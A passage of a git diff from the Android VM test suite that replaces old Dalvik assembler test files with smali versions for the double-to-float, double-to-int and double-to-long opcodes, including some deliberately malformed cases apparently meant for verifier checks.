+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)V
+.registers 8
+
+       move v0, v7
+       move v1, v7    
+       double-to-float v0, v0
+       
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_int/d/T_double_to_int_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_int/d/T_double_to_int_1.d
deleted file mode 100644
index 82f2467..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_int/d/T_double_to_int_1.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_double_to_int_1.java
-.class public dot.junit.opcodes.double_to_int.d.T_double_to_int_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(D)I
-.limit regs 8
-
-       double-to-int v0, v6
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_int/d/T_double_to_int_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_int/d/T_double_to_int_1.smali
new file mode 100644
index 0000000..69a9226
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_int/d/T_double_to_int_1.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_double_to_int_1.java"
+.class  public Ldot/junit/opcodes/double_to_int/d/T_double_to_int_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(D)I
+.registers 8
+
+       double-to-int v0, v6
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_int/d/T_double_to_int_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_int/d/T_double_to_int_2.d
deleted file mode 100644
index 7e3a98b..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_int/d/T_double_to_int_2.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_double_to_int_2.java
-.class public dot.junit.opcodes.double_to_int.d.T_double_to_int_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(D)I
-.limit regs 8
-
-       const v6, 3.14
-       double-to-int v0, v6
-       const v1, 123
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_int/d/T_double_to_int_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_int/d/T_double_to_int_2.smali
new file mode 100644
index 0000000..c63b4e4
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_int/d/T_double_to_int_2.smali
@@ -0,0 +1,41 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/double_to_int/d/T_double_to_int_2;
+.super Ljava/lang/Object;
+.source "T_double_to_int_2.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run(D)I
+    .registers 8
+
+    const p1, 0x4048f5c3    # 3.14f
+
+    double-to-int v0, p1
+
+    const v1, 0x7b
+
+    return v1
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_int/d/T_double_to_int_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_int/d/T_double_to_int_3.d
deleted file mode 100644
index 07f855a..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_int/d/T_double_to_int_3.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_double_to_int_3.java
-.class public dot.junit.opcodes.double_to_int.d.T_double_to_int_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(J)I
-.limit regs 8
-
-       double-to-int v0, v6
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_int/d/T_double_to_int_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_int/d/T_double_to_int_3.smali
new file mode 100644
index 0000000..4daee67
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_int/d/T_double_to_int_3.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_double_to_int_3.java"
+.class  public Ldot/junit/opcodes/double_to_int/d/T_double_to_int_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(J)I
+.registers 8
+
+       double-to-int v0, v6
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_int/d/T_double_to_int_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_int/d/T_double_to_int_4.d
deleted file mode 100644
index 1f62ffb..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_int/d/T_double_to_int_4.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_double_to_int_4.java
-.class public dot.junit.opcodes.double_to_int.d.T_double_to_int_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(D)I
-.limit regs 8
-
-       double-to-int v0, v5
-       
-       const v3, 123
-       return v3
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_int/d/T_double_to_int_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_int/d/T_double_to_int_4.smali
new file mode 100644
index 0000000..c8ebfaa
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_int/d/T_double_to_int_4.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_double_to_int_4.java"
+.class  public Ldot/junit/opcodes/double_to_int/d/T_double_to_int_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(D)I
+.registers 8
+
+       double-to-int v0, v5
+       
+       const v3, 123
+       return v3
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_int/d/T_double_to_int_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_int/d/T_double_to_int_5.d
deleted file mode 100644
index e4477d8..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_int/d/T_double_to_int_5.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_double_to_int_5.java
-.class public dot.junit.opcodes.double_to_int.d.T_double_to_int_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(D)I
-.limit regs 8
-
-       double-to-int v0, v8
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_int/d/T_double_to_int_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_int/d/T_double_to_int_5.smali
new file mode 100644
index 0000000..3da7fa2
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_int/d/T_double_to_int_5.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_double_to_int_5.java"
+.class  public Ldot/junit/opcodes/double_to_int/d/T_double_to_int_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(D)I
+.registers 8
+
+       double-to-int v0, v8
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_int/d/T_double_to_int_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_int/d/T_double_to_int_6.d
deleted file mode 100644
index ecbe761..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_int/d/T_double_to_int_6.d
+++ /dev/null
@@ -1,37 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_double_to_int_6.java
-.class public dot.junit.opcodes.double_to_int.d.T_double_to_int_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)V
-.limit regs 8
-
-       move v0, v7
-       move v1, v7    
-       double-to-int v0, v0
-       
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_int/d/T_double_to_int_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_int/d/T_double_to_int_6.smali
new file mode 100644
index 0000000..94548ed
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_int/d/T_double_to_int_6.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_double_to_int_6.java"
+.class  public Ldot/junit/opcodes/double_to_int/d/T_double_to_int_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)V
+.registers 8
+
+       move v0, v7
+       move v1, v7    
+       double-to-int v0, v0
+       
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_long/d/T_double_to_long_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_long/d/T_double_to_long_1.d
deleted file mode 100644
index 677d352..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_long/d/T_double_to_long_1.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_double_to_long_1.java
-.class public dot.junit.opcodes.double_to_long.d.T_double_to_long_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(D)J
-.limit regs 8
-
-       double-to-long v0, v6
-       return-wide v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_long/d/T_double_to_long_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_long/d/T_double_to_long_1.smali
new file mode 100644
index 0000000..ef79df4
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_long/d/T_double_to_long_1.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_double_to_long_1.java"
+.class  public Ldot/junit/opcodes/double_to_long/d/T_double_to_long_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(D)J
+.registers 8
+
+       double-to-long v0, v6
+       return-wide v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_long/d/T_double_to_long_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_long/d/T_double_to_long_2.d
deleted file mode 100644
index 54740b6..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_long/d/T_double_to_long_2.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_double_to_long_2.java
-.class public dot.junit.opcodes.double_to_long.d.T_double_to_long_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(D)J
-.limit regs 8
-
-       const v6, 3.14
-       double-to-long v0, v6
-       const-wide v2, 123
-       return-wide v2
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_long/d/T_double_to_long_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_long/d/T_double_to_long_2.smali
new file mode 100644
index 0000000..e6a8fbb
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_long/d/T_double_to_long_2.smali
@@ -0,0 +1,41 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/double_to_long/d/T_double_to_long_2;
+.super Ljava/lang/Object;
+.source "T_double_to_long_2.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run(D)J
+    .registers 8
+
+    const p1, 0x4048f5c3    # 3.14f
+
+    double-to-long v0, p1
+
+    const-wide v2, 0x7b
+
+    return-wide v2
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_long/d/T_double_to_long_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_long/d/T_double_to_long_3.d
deleted file mode 100644
index 556aa4e..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_long/d/T_double_to_long_3.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_double_to_long_3.java
-.class public dot.junit.opcodes.double_to_long.d.T_double_to_long_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(J)J
-.limit regs 8
-
-       double-to-long v0, v6
-       const-wide v2, 123
-       return-wide v2
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_long/d/T_double_to_long_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_long/d/T_double_to_long_3.smali
new file mode 100644
index 0000000..4c789bd
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_long/d/T_double_to_long_3.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_double_to_long_3.java"
+.class  public Ldot/junit/opcodes/double_to_long/d/T_double_to_long_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(J)J
+.registers 8
+
+       double-to-long v0, v6
+       const-wide v2, 123
+       return-wide v2
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_long/d/T_double_to_long_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_long/d/T_double_to_long_4.d
deleted file mode 100644
index df716b0..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_long/d/T_double_to_long_4.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_double_to_long_4.java
-.class public dot.junit.opcodes.double_to_long.d.T_double_to_long_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(D)J
-.limit regs 8
-
-       double-to-long v0, v5
-       
-       const-wide v2, 123
-       return-wide v2
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_long/d/T_double_to_long_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_long/d/T_double_to_long_4.smali
new file mode 100644
index 0000000..8c41ad2
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_long/d/T_double_to_long_4.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_double_to_long_4.java"
+.class  public Ldot/junit/opcodes/double_to_long/d/T_double_to_long_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(D)J
+.registers 8
+
+       double-to-long v0, v5
+       
+       const-wide v2, 123
+       return-wide v2
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_long/d/T_double_to_long_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_long/d/T_double_to_long_5.d
deleted file mode 100644
index 8b11c73..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_long/d/T_double_to_long_5.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_double_to_long_5.java
-.class public dot.junit.opcodes.double_to_long.d.T_double_to_long_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(D)J
-.limit regs 8
-
-       double-to-long v0, v7
-       return-wide v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_long/d/T_double_to_long_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_long/d/T_double_to_long_5.smali
new file mode 100644
index 0000000..cd4a0d3
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_long/d/T_double_to_long_5.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_double_to_long_5.java"
+.class  public Ldot/junit/opcodes/double_to_long/d/T_double_to_long_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(D)J
+.registers 8
+
+       double-to-long v0, v7
+       return-wide v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_long/d/T_double_to_long_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_long/d/T_double_to_long_6.d
deleted file mode 100644
index 6aeb8fd..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_long/d/T_double_to_long_6.d
+++ /dev/null
@@ -1,37 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_double_to_long_6.java
-.class public dot.junit.opcodes.double_to_long.d.T_double_to_long_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)V
-.limit regs 8
-
-       move v0, v7
-       move v1, v7    
-       double-to-long v0, v0
-       
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_long/d/T_double_to_long_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_long/d/T_double_to_long_6.smali
new file mode 100644
index 0000000..204dadc
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/double_to_long/d/T_double_to_long_6.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_double_to_long_6.java"
+.class  public Ldot/junit/opcodes/double_to_long/d/T_double_to_long_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)V
+.registers 8
+
+       move v0, v7
